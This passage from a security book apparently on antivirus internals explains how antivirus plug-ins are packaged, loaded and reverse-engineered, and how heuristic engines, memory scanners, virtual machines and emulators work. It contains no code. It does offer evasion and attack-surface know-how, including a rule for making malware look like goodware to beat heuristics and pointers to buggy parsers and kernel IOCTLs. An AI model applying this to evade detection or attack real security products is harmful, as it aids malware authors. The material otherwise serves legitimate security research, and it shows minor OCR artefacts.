each time you run the debugger. There are partial solutions to this problem: for 

example, using the open-source plug-in for IDA “Diaphora” or the commercial 

Zynamics BinDiff, you can do binary differentiation (also called bindiffi ng) on gg
the process as-is in memory against a database that contains the comments and 

the function names.
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The bindiffi ng process allows the reverse-engineer to import names from a 

previously analyzed IDA database to a new instance of the same (loaded at a 

different memory address). However, a reverse-engineer needs to run the plug-

in code each time the debugger is loaded, which is annoying. There are other 

open-source approaches such as the IDA plug-in MyNav, which has import 

and export capabilities that may help you access the plug-in code you need.

However, it suffers from the very same problem: a reverse-engineer needs to 

reload plug-ins for each execution.

Some antivirus kernels do not protect their plug-ins; these plug-ins are simply 

libraries that can be opened in IDA and debugged. However, this approach is 

used very rarely—indeed, only in the case of Comodo antivirus.

A NOTE ABOUT CONTAINERS

Rather than distribute each plug-in as an independent fi le, some antivirus products
use containers with all the updated fi les inside them. If the antivirus product you are
targeting uses a container fi le format, an analyst will need to research its fi le format 
before he or she can access all the fi les inside it. From the viewpoint of the antivirus
company, both methods off er benefi ts and drawbacks. If a container is used, the 
intellectual property is somewhat more “protected” because research is needed to 
reverse-engineer the fi le format of the container and write an unpacker. On the other 
hand, distributing a single, large fi le to customers can make updates slower and more
expensive. Distributing the plug-in fi les as many small fi les means that an update may 
involve only a few bytes or kilobytes instead of a multi-megabyte fi le. Depending
on the size and quantity of the update fi les that are served, the researchers can get a
rough idea of the capabilities of the antivirus core in question: more code means more 
features.

Advantages and Disadvantages of the Approaches for 
Packaging Plug-ins

Antivirus engineers and reverse-engineers have different viewpoints when 

assessing the advantages and disadvantages of the two approaches to packag-

ing plug-ins. For engineers, the dynamic loading approach is the easiest, but it 

is also the most problematic one. Antivirus products that offer plug-ins that are 

encrypted, compressed, and loaded dynamically in memory have the following 

disadvantages, from a developer’s point of view:

■ They consume more memory.

■ Developers must write specifi c linkers so the code compiled with Microsoft 

Visual C++, Clang, or GCC can be converted to a form the antivirus kernel 

understands.
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■ They make it signifi cantly more diffi cult for developers to debug their 

own plug-ins. Often, they are forced to hard-code INT 3 instructions or 

use OutputDebugString, printf for debugging. However, such calls are 

not always available. For example, OutputDebugString is not an option 

in Linux or Mac OS X. Furthermore, some plug-ins are not native code, 

such as those for the Symantec Guest Virtual Machines (GVMs).

■ Developers are forced to create their own plug-ins loader for each oper-

ating system. Naturally, the different loaders must be maintained, thus 

the work is multiplied by the number of different operating systems the

antivirus company supports (commonly two or three: Windows, Mac OS 

X, and Linux), although most of the code can be shared.

■ If the code copied to memory needs to be relocated, the complexity sig-

nifi cantly increases, as does the time required to load a plug-in.

The complexity of developing such a system is increased because fi les that 

are encrypted and compressed require a whole new fi le format. Also, because 

generated binaries are not standard executables (like PE fi les, MachO fi les, or 

ELF fi les), antivirus developers must create a specifi c signing scheme for their 

antivirus plug-in fi les. However, antivirus developers are not doing this as often 

as they should. Indeed, most antivirus software does not implement any kind 

of signing scheme for its update fi les besides simple CRC32 checks.

From the viewpoint of an antivirus engineer, antivirus kernels using the 

Kaspersky approach have the following advantages:

■ They consume less memory.

■ Developers can debug their native code with any debugging tool.

On the other hand, this approach has the following disadvantages:

■ Developers must write their own full-featured linker inside the antivirus 

core. This is not a trivial task.

■ The linker must be written and maintained for any supported platform 

(although most code will be shared).

Each antivirus company must decide which scheme is best for it. Unfortunately, 

it sometimes seems like antivirus product designers simply implement the fi rst 

method that they come up with, without thinking about the implications or how 

much work will be required later to maintain it or, even worse, port it to new 

operating systems, such as Linux and Android or Mac OS X and iOS. This is 

the case with various antivirus products implementing a loader for PE fi les for 

both Linux and Mac OS X. Their plug-ins were created as non-standard PE fi les 

(using the PE header as the container for the plug-in but with a totally different 

fi le format than usual PE fi les) for only the platform that was supported at the 
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time (Windows), and they did not think about porting the code in the future 

to other platforms. Many antivirus companies are affected by the same design 

failure: an excessive focus on Windows platforms.

From a reverse-engineering point of view, however, there is a clear winner: 

object fi les that are linked together in the machine running the AV product

are the ones to analyze. There are many reasons why these plug-ins’ loading 

mechanisms are better to reverse-engineer the antivirus product:

■ If the antivirus product implements a linker and distributes all plug-in 

fi les as COFF objects, the COFF objects can be directly opened with IDA. 

They contain symbols because the linker needs them. These symbols will 

make it considerably easier to start analyzing the inner workings of the 

antivirus product being targeted.

■ If the fi les are simple libraries supported by the operating system, you 

can just load them in IDA and start the analysis. Depending on the plat-

form, symbols can be available (like, as is typical, in the Linux, *BSD, and 

MacOSX versions).

If the antivirus product uses a dynamic loading approach of non-operating 

system standard modules, you need to decode the plug-in fi les and decode them 

into a form that can be loaded in IDA or any other reverse-engineering tool. Also, 

because the code is loaded in the heap, because of ASLR the modules will always be 

loaded at a different address. The process of debugging a piece of code can be really 

tedious because every time the debugger is launched, the code will be located in a 

different position, and all the comments, names, and any notes you made during 

the disassembly are lost, unless the IDA database is manually rebased correctly. 

IDA does not correctly rebase code in debugging segments. The same applies to 

breakpoints: if you put a breakpoint in some instruction and re-launch the debug-

ger, the breakpoint is likely going to be at an invalid memory address because the 

code changed its base address.

N O T E  You might think that it is better to implement a dynamic loading approach in 

order to protect the intellectual property of your antivirus products. However, making 

an analyst’s work a bit more diffi  cult initially does not really protect anything. It just

makes it more challenging to analyze the product, and it makes the analysis more dif-

fi cult for only the fi rst steps.

Types of Plug-ins 

There are many different plug-in types: some plug-ins simply extend the list of 

compressors supported by antivirus products, and other plug-ins implement 

complex detection and disinfection routines for fi le infectors (such as Sality 
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or Virut). Some plug-ins can be considered helpers for the antivirus engineers 

(because they export functionality useful for generic detections and disinfec-

tions, like disassembler engines, emulators, or even new signature types), or 

they can be loaders of new, completely different, plug-in types, such as plug-ins 

for antivirus-specifi c virtual machines (like routines to unpack the fi rst layers 

of VMProtect in order to retrieve the license identifi er) or support for scripting 

languages. Understanding the antivirus plug-in loading system and the sup-

ported plug-in types is essential to any analyst who wants to know how an 

antivirus product really works. This is because the most interesting features

of an antivirus kernel are not in the kernel but in the components that it loads.

The following sections cover some of the more common (and less common) 

plug-ins supported by antivirus products.

Scanners and Generic Routines

The most common plug-in type in any antivirus is a scanner. A scanner is a plug-in 

that performs some kind of scanning of specifi c fi le types, directories, user and 

kernel memory, and so on. An example plug-in of this type is an Alternate Data 

Streams (ADS) scanner. The core kernel typically offers only the ability to analyze 

fi les and directories (and sometimes, userland memory) using the operating-

system-supplied methods (that is, CreateFile or the open syscall). However,

in some fi le systems, such as HFS+ (in Mac OS X) and NTFS (in Windows), fi les 

can be hidden in alternate data streams so the core routines know nothing about 

them. Such a plug-in is an add-on to the antivirus core that can list, iterate, and 

launch other scanning routines against all fi les discovered in an ADS.

Other scanner types can offer the ability to scan memory when this ability is 

not directly offered by the antivirus product, or they might offer direct access 

to kernel memory (as the Microsoft antivirus does) by communicating with a 

kernel driver. Other scanner types can be launched only after being triggered 

by another plug-in. For example, while scanning a fi le, if a URL is discovered 

inside the fi le, the URL scanner is triggered. The scanner checks the validity of 

the URL to determine whether it is red-fl agged as malicious.

When reverse-engineering to fi nd security bugs or evade antivirus software, 

the following information can be enlightening:

■ How and when a fi le is detected as malicious

■ How fi le parsers, de-compressors, and EXE unpackers are launched

■ When generic routines are launched against a single sample

■ When samples are selected to be executed under the internal sandbox if 

the antivirus has one

When analyzing scanners, you can determine the different types of signatures 

used and how they are applied to the fi le or buffer.
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Other scanner types may fall into the generic routines category. Generic 

routines are plug-ins created to detect (and probably disinfect) a specifi c fi le, 

directory, registry key, and so on. For example, such a plug-in might be a routine 

to detect some variant of the popular Sality fi le infector, get the data required 

for disinfection, and, if available, put this information in internal structures so 

other plug-ins (such as disinfection routines) can use it.

From a reverse-engineering viewpoint, especially when talking about vulner-

ability development, generic routines are very interesting as they are typically 

a very good source of security bugs. The code handling of complex viruses is 

error prone, and after a wave of infections, the routine may be untouched for 

years because the malware is considered almost dead or eradicated. Therefore,

bugs in the code of such routines can remain hidden for a long time. It is not 

uncommon to discover security bugs (that lead to exploitation) in the generic 

routines that are used to detect viruses from the 29A team, MS-DOS, and the 

very fi rst versions of Microsoft Windows.

SECURITY IMPLICATIONS OF CODE DUPLICATION

While generic routines and their corresponding generic disinfections may seem like
a basic feature, some antivirus kernels do not off er any methods for plug-ins to com-
municate. Because of this design weakness, antivirus kernels that do not off er this 
intercommunication duplicate the code from the generic routines used to detect a 
fi le infector to another plug-in that is used to disinfect it. A bug in a fi le infector may
be fi xed in the detection routines but not in the code that is copied to the disinfection
routines. This bug remains hidden unless you instruct the antivirus scanner to disin-
fect fi les. Bugs found in disinfection routines are one of the less researched areas in 
the antivirus fi eld.

File Format and Protocol Support

Some plug-ins are designed to understand fi le formats and protocols. These 

plug-ins increase the capabilities of the antivirus kernel to parse, open, and 

analyze new fi le formats (such as compressors or EXE packers) and protocols. 

Plug-ins designed to understand protocols are more common in gateways and 

server product lines than in desktop lines, but some antivirus products imple-

ment support for understanding the most common protocols (such as HTTP), 

even in the desktop version.

Such plug-ins can be unpackers for UPX, Armadillo, FSG, PeLite, or ASPack 

EXE packers; parsers for PDF, OLE2, LNK, SIS, CLASS, DEX, or SWF fi les; or 

decompression routines for zlib, gzip, RAR, ACE, XZ, 7z, and so on. The list 

of plug-ins of this type for antivirus engines is so long that it is the biggest 

source of bugs in any antivirus core. What are the odds of Adobe not having

vulnerabilities its own PDF fi le format in Acrobat Reader? If you take a look 
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at the long list of Common Vulnerabilities and Exposures (CVEs) covering the 

vulnerabilities discovered in Acrobat Reader during the last few years, you may 

get an idea of how diffi cult it is to correctly parse this fi le format. What are the 

odds of an antivirus company writing a bug-free plug-in to parse a fi le format 

for which the partial documentation published is 1,310 pages long (1,159 pages 

without the index)? 

Naturally, the odds are against the antivirus engineers. The implementation 

of a PDF engine has already been mentioned, but what about an OLE2 engine to 

support Microsoft Word, Excel, Visio, and PowerPoint fi les; an ASF video formats 

engine; a MachO engine to analyze executables for Mac OS X operating systems; 

ELF executables support; and a long list of even more complex fi le formats? 

The answer is easy: the number of potential bugs in antivirus software due 

to the number of fi le formats they must support is extremely high. If you consider 

the support for protocols, some of them undocumented or vaguely documented 

(such as the Oracle TNS Protocol or the CIFS protocol), then you can say that 

without doubt, this is the biggest attack surface of any antivirus product.

PARSER AND DECODER PLUG INS ARE COMPLEX

An antivirus product deals with hostile code. However, when writing parsers or decod-
ers for fi le formats, antivirus engineers do not always keep this in mind, and many
treat the fi les they are going to handle as well formed. This leads to mistakes when 
parsing fi le formats and protocols. Others over-engineer the parser to accommodate
as many fringe cases as possible, increasing the complexity of the plug-in and, likely, 
introducing more bugs in a dense plug-in that tries to handle everything. Security 
researchers and antivirus engineers should pay special attention to fi le format 
decoder and parser plug-ins in antivirus software.

Heuristics

Heuristic engines can be implemented as add-ons (plug-ins) on top of the antivirus 

core routines that communicate with other plug-in types or use the informa-

tion gathered previously by them. An example from the open-source antivirus 

ClamAV is the Heuristics.Encrypted.Zip heuristic engine. This heuristic 

engine is implemented by simply checking that the ZIP fi le under scrutiny is 

encrypted with a password. This information is normally extracted by a previ-

ous plug-in, such as a fi le format plug-in for ZIP-compressed fi les that has stati-

cally gathered as much information from this fi le as possible and fi lled internal 

antivirus structures with this data. The ZIP engine is launched by a scanner 

engine that determines in the fi rst analysis steps that the fi le format of the ZIP 

fi le is understood by the kernel. Finally, the heuristic engine uses all of this 

information to determine that the buffer or fi le under analysis is “suspicious” 

enough to raise an alert, according to the heuristic level specifi ed.
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Heuristic engines are prone to false positives because they are simply evidence-

based. For example, a PDF may look malformed because it contains JavaScript, 

includes streams that are encoded with multiple encoders (some of which are 

repeated, for example, where FlateDecode or ASCII85Decode are used twice 

for the same stream), and contains strings that seem to be encoded in ASCII, 

hexadecimal, and octal. In this case, heuristic engines would likely consider it 

an exploit. However, buggy generator software could produce such malformed 

PDF fi les, and Adobe Reader would open them without complaint. This is a 

typical challenge for antivirus developers: detecting malware without causing 

false positives with goodware that generates highly suspicious fi les.

There are two types of heuristic engines: static and dynamic. Heuristic engines 

based on static data do not need to execute (or emulate) the sample to determine 

whether it looks like malware. Dynamic engines monitor the execution of a 

program in the host operating system or in a guest operating system, such as a 

sandbox created by the antivirus developers running on top of an Intel ARM 

or a JavaScript emulator. The previous examples discussing PDFs or ZIP fi les 

fall into the category of static-based heuristic engines. Later in this chapter, in 

the “Weights-Based Heuristics” section, the dynamic heuristic engines category 

is discussed.

This section explained some of the simpler heuristic engines an antivirus can 

offer. However, antivirus products also offer very complex types of heuristic 

engines. Those are discussed next.

Bayesian Networks

Bayesian networks, as implemented by antivirus products, comprise a sta-

tistical model that represents a set of variables. These variables are typically

conditional dependencies, PE header fl ags, and other heuristic fl ags, such as 

whether the fi le is compressed or packed, whether the entropy of some section 

is too high, and so on. Bayesian networks are used to represent probabilistic 

relationships between different malware fi les. Antivirus engineers exercise the 

Bayesian networks in their laboratories with both malware fi les and goodware 

fi les and then use the network to implement heuristic detection for malware 

fi les based on the training data. Such networks can be used in-house, exclu-

sively for the antivirus companies (the most common case), or implemented 

in distributed products. Although this is a powerful heuristic method with 

solid roots in statistical models, it may cause many false positives. Bayesian 

networks as used by antivirus companies (after being trained) usually work 

in the following way:

 1. Antivirus engineers feed the network a new sample.

 2. The sample’s heuristic fl ags are gathered, and the state is saved in internal 

variables.
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3. If the fl ags gathered are from known malware families or are too similar 

to previously known malware families, the Bayesian network gives a score 

accordingly.

4. Using the score given by the Bayesian network, the sample is then con-

sidered “likely malware” or “likely goodware.”

The problem with such an approach is always the same: what if a true malware 

fi le uses the same PE header fl ags or the gathered heuristic fl ags (compression, 

entropy, and so on), or both, as the typical goodware samples? The antivirus will 

have a true negative (a malware sample wrongly classifi ed as non-malicious). 

What if a goodware program is protected by some packer or virtualizer and 

the heuristic fl ags generated for this fi le correspond to some malware family? 

You guessed it: a false positive.

Bypassing Bayesian networks, as well as any kind of heuristic engine imple-

mented in antivirus engines, is typically easy. The rule of thumb for writing 

malware that slips past heuristic engines is to always make your malware as 

similar as possible to goodware.

Commonly, Bayesian networks implemented in antivirus engines are used 

for two purposes:

■ Detecting new samples that are likely to be malware

■ Gathering new suspicious sample fi les

Antivirus companies often ask the users to join a company network or to allow 

the antivirus product to send sample fi les to the antivirus companies. Bayesian 

networks are the heuristic engines that classify potentially malicious fi les as 

candidates to be sent to antivirus companies for analysis (once the volume of 

such fi les becomes high enough or interesting enough).

Bloom Filters

A bloom fi lter is a data structure that antivirus software uses to determine whether 

an element is a member of a known malware set. A bloom fi lter determines either 

that the element is absolutely not in the set or that it is probably in the set. If the 

heuristic fl ags gathered from another plug-in pass the bloom fi lter, the sample 

is defi nitely not in the set, and the antivirus software does not need to send the 

fi le or buffer to other, more complex (and likely slower) routines. Only the fi les 

that pass through the bloom fi lter are sent to more complex heuristic engines.

The following is a hypothetical bloom fi lter and is useful only for explana-

tion purposes. This is a fi lter for a database of MD5 hashes. Say that in your 

database, you have samples containing the following hashes:

99754106633f94d350db34d548d6091a9fe934c7a727864763bff7eddba8bd49
e6e5fd26daa9bca985675f67015fd882e87cdcaeed6aa12fb52ed552de99d1aa
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If the MD5 hash of the new sample or buffer under analysis does not start 

with either 9 or E, you can conclude that the fi le is defi nitely not in the set of fi les 

you want to submit to slower routines. However, if the hash of the new sample 

starts with either 9 or E, the sample “might be” in the set, but you would need

to perform more complex queries to check whether it is a member of the sample 

set. The previous example was hypothetical only and was meant to show how a 

bloom fi lter works. There are much better approaches for determining whether 

a hash is in a known database of fi xed-size strings.

Almost all antivirus products implement some sort of heuristic engines based 

on hashes (either cryptographic or fuzzy hashes) using bloom fi lters. In general, 

bloom fi lters are exclusively used to determine whether a sample should be 

researched in more depth or just discarded from an analysis routine.

Weights-Based Heuristics

Weights-based heuristics appear in various antivirus engines. After a plug-

in gathers information about a sample fi le or a buffer, internal heuristic fl ags 

are fi lled accordingly. Then, depending on each fl ag, a weight is assigned. For 

example, say that a sample is run under the antivirus emulator or in a sandbox, 

and the behavior of this sample (when running under the emulator or sandbox) 

is recorded. Weight-based heuristic engines assign different weights to different 

actions (the values can be negative or positive). After all the actions performed 

by the sample being analyzed have been weighted, the heuristic engine deter-

mines whether it looks like malware. Consider an example where an AV has 

recorded the following activity of a hypothetical malware:

 1. The malware reads a plain text fi le in the directory where it is being 

executed.

 2. It opens a window and then shows the user a dialog box for confi rming 

or cancelling the process.

 3. It downloads an executable fi le from an unknown domain.

 4. It copies the executable fi le to %SystemDir%.

 5. It executes the downloaded fi le.

 6. Finally, it tries to remove itself by running a helper batch fi le that tries to 

terminate the malware process and then clean it from disk.

A weight-based heuristic engine assigns negative values to the fi rst two actions 

(as they are likely benign actions) but assigns positive values to the subsequent 

actions (as they look like the typical actions of a malware dropper). After a weight 

is applied to each action, the fi nal score of the sample’s behavior is calculated, 

and, depending on the threshold specifi ed by the user (antivirus researcher), 

the malware is judged as either probably malware or defi nitely not malware.
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Some Advanced Plug-ins

Antivirus products use many different kinds of plug-ins in addition to the types 

discussed previously in this chapter. This section looks at some of the most 

common advanced plug-ins used in antivirus products.

Memory Scanners

A scanner is the most common type of plug-in that antivirus products use. 

One example of an advanced scanner usually found in antivirus products is a 

memory scanner. Such a scanner type offers the ability to read the memory of 

the processes being executed and apply signatures, generic detections, and so on 

to buffers extracted from memory. Almost all antivirus engines offer memory 

analysis tools in some form.

There are two types of memory scanners: userland and kernel-land memory-

based scanners. Userland scanners perform queries over memory blocks of 

userland programs, and kernel-land scanners perform queries over kernel 

drivers, threads, and so on. Both types are really slow and are often used only 

after some specifi c event, such as when the heuristics detect a potential problem. 

Often, users can employ the AV interface to initiate a complete memory scan. 

Userland-based memory scanning techniques can be implemented by using 

the operating system APIs (such as OpenProcess and ReadProcessMemory in 

Windows-based operating systems) or by kernel drivers created by antivirus 

developers.

Using the operating system APIs is not always ideal, because they can be 

intrusive, and malware writers have developed evasion techniques to work 

around them. For example, some malware samples are written to perform 

preventive actions when a memory read from an external process occurs. The 

malware might choose to terminate itself, remove some fi les, or act to prevent 

detection in some way. A goodware program with built-in protection may 

misinterpret such a scan and refuse to continue working to prevent analysis. 

This is why antivirus programmers do not like this approach and prefer to 

implement kernel drivers to read memory from foreign processes. Unless the 

malware is communicating with another kernel component (a rootkit), there is 

no way to know whether or not the memory of a process is being read. To read 

kernel memory, AV companies have to write a kernel driver. Some antivirus 

products develop a kernel driver that allows reading of both user and kernel 

memory, implements a communication layer for retrieving this information 

from userland processes, and then passes the read buffers to analysis routines. 

Implementing these features without proper security checks is a good source 

of bugs. What if the kernel driver does not verify which application is calling 

the exported I/O Control Codes (IOCTLs) used to read the kernel memory? This 
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can lead to serious security issues where any user-mode application that knows 

about this communication layer and the proper IOCTLs can read kernel memory. 

The problem becomes even more severe if the developers of this kernel driver 

also provided a mechanism (via additional IOCTLs) to write to kernel memory!

LOADED MODULES ANALYSIS VERSUS MEMORY ANALYSIS

Some antivirus products, which are not listed here, claim to support memory analysis,
but that is not accurate. Such products do not really perform memory analysis but,
rather, query the list of processes being executed and analyze the modules loaded in 
each one using the fi les as they are on disk. Memory analysis techniques can be intru-
sive and must be used with great caution because anti-debugging, anti-attaching, and
other anti-reverse-engineering techniques can detect these techniques and prevent 
the application from working properly. In part, this design protects the intellectual 
property of the software program. Antivirus companies try to be as unobtrusive 
as possible. Some companies simply do not bother trying to read the memory of a
process because of the implications of interfering with legitimate software. Their
approach is that it is suffi  cient to read the bytes of the modules on disk.

Non-native Code

Antivirus kernels are almost always written in C or C++ languages for perfor-

mance reasons. However, the plug-ins can be written in higher-level languages. 

Some antivirus products offer support for .NET or for specifi c virtual machines 

to create plug-ins (such as generic detections, disinfections, or heuristics). An 

antivirus company may decide to take this route for the following reasons:

■ Complexity—It could be easier to write a detection, disinfection, or heu-

ristic engine with a higher-level programming language.

■ Security—If the language chosen is executed under a virtual machine,

bugs in the code parsing a complex fi le format or disinfecting a fi le infector 

would affect not the entire product but only the processes running under 

the virtual machine, emulator, or interpreter they selected.

■ Ability to debug—If a generic detection, disinfection, or heuristic engine 

is written in a specifi c language and a wrapper for the API offered by the 

antivirus is available, antivirus developers can debug their code with the 

tools available for the language they decided to use.

When the decision to use non-native code is driven by security, the fi rst and 

third reasons are sometimes lost. For example, some antivirus products may cre-

ate different types of virtual machines to run their parsers and generic routines 

under the “matrix” (in a sandbox-like environment) instead of running directly

as native code. That approach means that when a vulnerability is discovered in 
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the code, such as a buffer overfl ow, it does not directly affect the entire scanner 

(such as the resident program, usually running as root or SYSTEM). This forces 

an exploit developer to research the virtual machine as well, in order to fi nd 

escapes (requiring the use of two or more exploits instead of a single one). On 

the other hand, some antivirus products (at least during the fi rst versions of their 

new virtual machines) create a full instruction set and offer an API but no way 

to debug code with a debugger, which causes problems to antivirus engineers. 

If you mention GVM (Guest Virtual Machine) to some developers from the 

old days of Symantec, they will tell you horror stories about it. In the past, the 

GVM was a virtual machine that did not allow the debugging of code with a 

debugger. This forced developers to invent their own debugging techniques 

to determine why their code was not working. Even worse for some virtual 

machines, the detections were written directly in assembly, because there was no 

translator or compiler that generated code as supported by the virtual machine. 

If you combine this annoying inability to debug with familiar tools (such as 

OllyDbg, GDB, and IDA), you will get an idea of how little developers in the 

anti-malware industry appreciate virtual machines.

If you combine this annoying inability to debug with familiar tools (such as 

OllyDbg, GDB, and IDA), you will get an idea of how little developers in the 

anti-malware industry appreciate virtual machines.

Lua and .NET are among the most common non-native languages being 

used in antivirus products. Some companies write .NET bytecode translators 

for a format supported by their virtual machines; others directly embed an 

entire .NET virtual machine inside their antivirus software. Still others use 

Lua as their embedded high-level language because it is lightweight and fast, 

it has good support for string handling, and the license is rather permissive, 

allowing its use in commercial, closed-source products, like 99.99 percent of 

the antivirus industry.

While it is a nightmare for antivirus programmers to debug their code if 

there is no way to use the typical debugging tools, it is easier to write code in 

.NET languages, such as C#, than in C or C++. Another point is that the security 

implications of having a bug in the code are obviously less worrisome in man-

aged languages than in unmanaged languages; if the code is running inside a 

virtual machine, an exploit writer needs to concatenate at least one more bug to 

get out of the virtual machine, making it considerably more complex to exploit 

the antivirus product. Also, the odds of having security vulnerabilities in man-

aged languages compared to C or C++ are remarkably lower.

From a reverse-engineering viewpoint, however, if the targeted antivirus 

product uses a virtual machine of some sort, it can be a true nightmare. Say that 

the antivirus “ACME AV” implemented a virtual machine of its own, and most 

of its generic detections, disinfections, and heuristic routines are written for this 

virtual machine. If the VM is a non-standard one, the unfortunate analyst will 

need to go through the following steps:
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 1. Discover that code is written for a virtual machine. Naturally, when a 

reverse-engineer starts his or her work on a new target, this information

is not available.

 2. Discover the whole instruction set is supported by a virtual machine.

 3. Write a disassembler, usually an IDA processor module plug-in, for the 

whole new instruction set.

 4. Discover where the plug-ins’ routine bytes are located (in the plug-in fi les

or in memory), and dump or extract them.

 5. Start the analysis of the plug-ins implemented for the specifi c virtual

machine in IDA or with the custom disassembler that he or she developed 

in step 3.

It can be even worse: while not necessarily in antivirus products, it does occur 

in software protection tools such as Themida or VMProtect. If the processor 

virtual machine is randomly generated and completely different for each build or 

update, the diffi culty of analyzing the code increases exponentially. Every time 

a new version of the virtual machine is released, a new disassembler, possibly 

an emulator, or any tools the reverse-engineer wrote relying on the previous 

instruction set, must be updated or re-written from scratch. But there are even 

more problems for security researchers: if the developers of the product cannot 

debug the code with their tools, the analyst is also unable to do so. Thus, they 

need to write an emulator or a debugger (or both) for it.

Researching these plug-ins is typically too complex. However, if the selected 

virtual machine is well known, such as the .NET virtual machine, then the 

researcher happens to be lucky enough to discover complete .NET libraries or 

executables hidden somewhere in the database fi les and then be able to use a 

publicly available decompiler such as the open-source ILSpy or the commer-

cial .NET Refl ector. This makes his or her life easier, as the analyst can read 

high-level code (with variable and function names!) instead of the always less 

friendly assembly code.

Scripting Languages

Antivirus products may use scripting languages, such as the aforementioned 

Lua or even JavaScript, to execute generic detections, disinfections, heuristic 

engines, and so on. As in the previous case, the reasons for implementing the 

aforementioned features using scripting languages are exactly the same: security, 

debugging, and development complexity. Naturally, there are also business-

level reasons for using scripting languages: it is easier to fi nd good high-level 

programmers than it is to fi nd good software developers in languages such as 

C or C++. Thus, a new antivirus engineer joining an antivirus fi rm does not 

really need to know how to program in C or C++ or even assembly, because 
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that person writes plug-ins in Lua, JavaScript, or some other scripting language 

supported by the antivirus core. That means a programmer needs to learn only 

the APIs that the core exports in order to write script plug-ins.

As with the previous case, there are two different viewpoints regarding 

plug-ins implemented in antivirus products with scripting languages: those of 

the antivirus developer and those of the researchers. For antivirus companies, 

it is easier to write code in high-level languages because they are more secure, 

and it is usually easier to fi nd developers of high-level languages. For reverse-

engineers, in contrast with what usually happens with virtual machines, if the 

antivirus product directly executes scripts, the researcher simply needs to fi nd 

where the scripts are, dump them, and start the analysis with actual source code. 

If the scripts are compiled to some sort of bytecode, the researcher might be 

lucky enough to discover that the virtual machine is the standard one offered 

by the embedded scripting language, such as Lua, and fi nd an already written 

decompiler such as (following with the Lua example) the open-source unluac. 

The researcher may be required to make some small modifi cations to the code 

of the decompiler in order to correctly get back the source code of the script, 

but this is usually a matter of only a few hours’ work.

Emulators

The emulators are one of the key parts of an antivirus product. They are used 

for many tasks such as analyzing the behavior of a suspicious sample, unpack-

ing samples compressed or encrypted with unknown algorithms, analyzing 

shellcode embedded in fi le formats, and so on. Most antivirus engines, with 

the notable exception of ClamAV, implement at least one emulator: an Intel 8086 

emulator. The emulator is typically used to emulate PE fi les, with the help of 

another loader module (which is sometimes baked into the emulator’s code), 

boot sectors, and shellcode. Some antivirus products also use it to emulate ELF 

fi les. There is no known emulator that does the same for MachO fi les.

The Intel x86 emulator is not the only one that antivirus kernels use; some 

emulators are used for ARM, x86_64, .NET bytecode, and even JavaScript or 

ActionScript. The emulators by themselves are not that useful and tend to be 

limited if the malware issues many system or API calls. This stems from the fact 

that the emulators set a limit to the number of API calls that are emulated before 

they halt the emulation. Supporting the instruction set—the architecture—is 

halfway to emulating a binary; the other half is properly emulating the API 

calls. The other responsibility of an emulator is to support either the APIs or the 

system calls that are offered by the actual operating system or environment it 

is mimicking. Usually, some Windows libraries, such as ntdll.dll or kernel32

.dll, are “supported,” in the sense that most of the typical calls are somehow

implemented by the antivirus. Very often, the implemented functions do not 

really do anything but return codes that are considered as successful return 
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values. The same applies to emulators of userland programs instead of entire 

operating systems: the APIs offered by the product (such as Internet Explorer or 

Acrobat Reader) are mimicked so the code being executed under the “matrix” 

does not fail and performs its actions. Then the behavior, whether bad or good, 

can be recorded and analyzed. 

The emulators are usually updated because malware authors and commercial 

software protection developers discover and implement new anti-emulation 

techniques almost daily. When the antivirus engineers discover that some 

instruction or API is being used in a new malware or protector, the instructions 

or APIs are updated so that they are supported. The malware authors and soft-

ware protection developers then discover more. This is the old cat-and-mouse 

game where the antivirus industry is naturally always behind. The reason is 

simple: supporting a recent entire CPU architecture is a gigantic task. Supporting 

not only an entire CPU but also an entire set of operating system APIs in an 

engine that runs in a desktop solution, without causing enormous performance 

losses, is simply an impossible task. What the antivirus companies try to do is

to balance the quantity of APIs and instructions they have to support without 

implementing all of the instruction sets or APIs that can emulate as much mal-

ware as possible. Then they wait until a new anti-emulation technique appears 

in some new malware, packer, or protector.

Summary

 This chapter covered antivirus plug-ins—how they are loaded, types of plug-

ins, and the functionality and features they provide.

In summary, the following topics were discussed:

■ Antivirus plug-ins are not a vital part of the core of the AV. They are 

loaded by the AV on demand.

■ There is not a single method that is used by AVs to load plug-ins. Some 

AVs rely on simple operating system APIs to load plug-ins; other AVs 

use a custom plug-in decryption and loading mechanism.

■ The plug-in loading mechanism dictates how hard the reverse-engineer

has to work to understand its functionality.

■ There is a simple set of steps a reverse-engineer can follow when trying

to understand the plug-in functionality.

■ There are various types of plug-ins, ranging from simple ones to more 

complex ones. Examples of relatively simple plug-ins include scanners and 

generic detection routines, fi le format parsers, protocol parsers, execut-

able fi les and archive fi les decompressors, heuristics engine, and so on.
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■ Heuristic engines work by looking at anomalies in the input fi les. These 

engines may be based on simple logic or more complex logic, such as 

those based on statistical modeling (Bayesian networks) or weight-based 

heuristics.

■ There are two types of heuristic engines: static and dynamic. Static engines 

look into the fi les statically without running or emulating them. For example, 

PE fi les that have unusual fi elds in their headers or PDF fi les that have 

streams that are encoded multiple times using different encoders can 

trigger the detection. The dynamic heuristic engines try to deduce mali-

cious activity based on the behavior of the emulated or executing code.

■ File format or protocol parsers for complex or undocumented formats are 

usually an interesting source of security bugs.

■ Some advanced plug-ins include memory scanners, plug-ins written using 

interpreted languages and run within a virtual machine, and emulators.

■ Memory scanner plug-ins may scan the memory from userland or kernel-

land. Userland memory scanners tend to be intrusive and may interfere

with the execution of the program. Kernel-mode scanners are less intrusive 

but can expose security bugs if it is not properly implemented.

■ Plug-ins written using scripting languages not only are easier to write 

and maintain but also offer an extra layer of protection because they run

through an interpreter. Reverse-engineering such plug-ins can be very 

challenging especially if the language is interpreted using a custom-built 

virtual machine.

■ Emulators are key parts of an antivirus. Writing a foolproof and decent 

emulator for various architectures is not an easy task. Nonetheless, they 

can still help in unpacking compressed or encrypted executable and 

analyzing shellcode embedded in documents.

The next chapter covers antivirus signatures, how they work, and how they 

can be circumvented. 
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Signatures are a key part of any antivirus engine. The signatures are typically 

hashes or byte-streams that are used to determine whether a fi le or buffer con-

tains a malicious payload.

All antivirus engines, since their inception, have used a signature scheme. 

Although various kinds exist, the signatures are typically small hashes or byte-

streams that contain enough information to determine whether a fi le or a buffer 

matches a known-malware pattern. When hashes are used for signatures, they 

are generated with algorithms such as CRC or MD5, which are typically fast 

and can be calculated many times per second with a negligible performance 

penalty. This is the most typical and preferred method for antivirus engineers 

to detect a specifi c piece of malicious software, because the algorithms are easy 

to implement and tend to be fast.

This chapter covers the various signature database types, their strengths 

and weaknesses, when they are best used, and how they can be circumvented.

Typical Signatures

Even though each AV engine uses a different set of algorithms to generate 

its signatures, and almost all of them have algorithms of their own, various 

